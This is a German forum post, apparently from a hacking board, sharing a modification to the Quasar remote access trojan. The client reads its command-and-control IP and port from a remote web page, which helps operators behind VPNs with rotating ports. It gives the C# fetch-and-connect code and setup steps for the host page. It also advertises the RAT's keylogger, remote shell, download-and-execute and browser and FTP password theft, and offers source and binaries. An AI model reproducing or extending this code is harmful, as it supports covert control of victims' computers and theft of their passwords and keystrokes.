Hallo,
ich habe geselen das hier viele Perfect Privacy benutzen und sich dort die Ports alle 7 Tage ändern, deswegen habe ich bei der Open Source Rat Quasar was umgeschrieben das er sich die IP und Port per HttpWebRequest aus ner Htm holt, ist nicht so sauer der Code, mal schnell gemacht.
Der Code den ich geändert habe im Projekt Client in der Program.cs :
public Host getHTTPthrewHost(string sUri) // Added by MultiVitamin, ist nicht alles selber gemacht / Credits an MS für HttpWebRequest Sample { // Ein neues Object typ Host, zum speichern der Daten. Host returnHTTPHost = new Host(); //Erstellt einen neuen request von der Url in Parameter sUri WebRequest request = WebRequest.Create("http://" + sUri); //Liest den Response vom request ein WebResponse response = request.GetResponse(); //Guckt ob der Response geklappt hat. if (((HttpWebResponse)response).StatusCode == HttpStatusCode.OK) { // Öffne den Strean mit den Stread Reader. StreamReader reader = new StreamReader(response.GetResponseStream()); // Lese den Response in einen String ein. string responseFromServer = reader.ReadToEnd(); //Ließt aus dem String den Host / IP raus und schreib es in das Host Object Match HostMatch = Regex.Match(responseFromServer, @"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"); returnHTTPHost.Hostname = HostMatch.ToString(); //Ließt aus dem String den Port raus und schreib es in das Host Object Match PortMatch = Regex.Match(responseFromServer, @"[:punct:].*1"); //Ließt den Port ein sollte so aussehen :XXXXXXX und löscht das " : " StringBuilder sbPort = new StringBuilder(); ushort _Port = 0; sbPort.Append(PortMatch.ToString()); sbPort.Remove(0, 1); if (ushort.TryParse(sbPort.ToString(), out _Port)) { returnHTTPHost.Port = _Port; } else { returnHTTPHost.Port = 0; } // Schließe alles. reader.Close(); response.Close(); //Gebe das Object returnHTTPHost zurück wo alle Infos wie Host,Port sind. return returnHTTPHost; } else { response.Close(); returnHTTPHost.Hostname = "Error"; return returnHTTPHost; } } public void Connect() { while (!Exiting) // Main Connect Loop { if (!Connected) { Thread.Sleep(100 + new Random().Next(0, 250)); Host host = getHTTPthrewHost(_hosts.GetNextHost().Hostname); while(host.Hostname == "Error" || host.Port == 0) { host = getHTTPthrewHost(_hosts.GetNextHost().Hostname); } base.Connect(host.Hostname, host.Port); Thread.Sleep(200); Application.DoEvents(); }
Ihr müsst jetzt nur bei Host eure URL zur Htm die den Inhalt :
IP:Port hat
z.b
127.0.0.1:12334
An geben, mehr im Video.
Es wird immer nur das erste Match genommen, also für mehrer IPS mehrer Htm datein erstellen.
Wichtig ist die URL nicht mit http:// angeben sondern ohne, die URL könnte so aussehen tesre3.comuv.com/Test.htm.
Wichtig auch keine DynDNS Sachen angeben, da das regex nicht match sondern einfach die IP.
Features
- Buffered TCP/IP network stream
- Fast network serialization (NetSerializer)
- Compressed (QuickLZ) & Encrypted (AES-128) communication
- Multi-Threaded
- UPnP Support
- No-Ip.com Support
- Visit Website (hidden & visible)
- Show Messagebox
- Task Manager
- File Manager
- Startup Manager
- Remote Desktop
- Remote Shell
- Download & Execute
- Upload & Execute
- System Information
- Computer Commands (Restart, Shutdown, Standby)
- Keylogger (Unicode Support)
- Reverse Proxy (SOCKS5)
- Password Recovery (Common Browsers and FTP Clients)
Hier noch ein Setup-Video :
Hier der Download SRC + Bin + HttpWebrequest:
Github von
der Coder von Quasar :Virus Scan :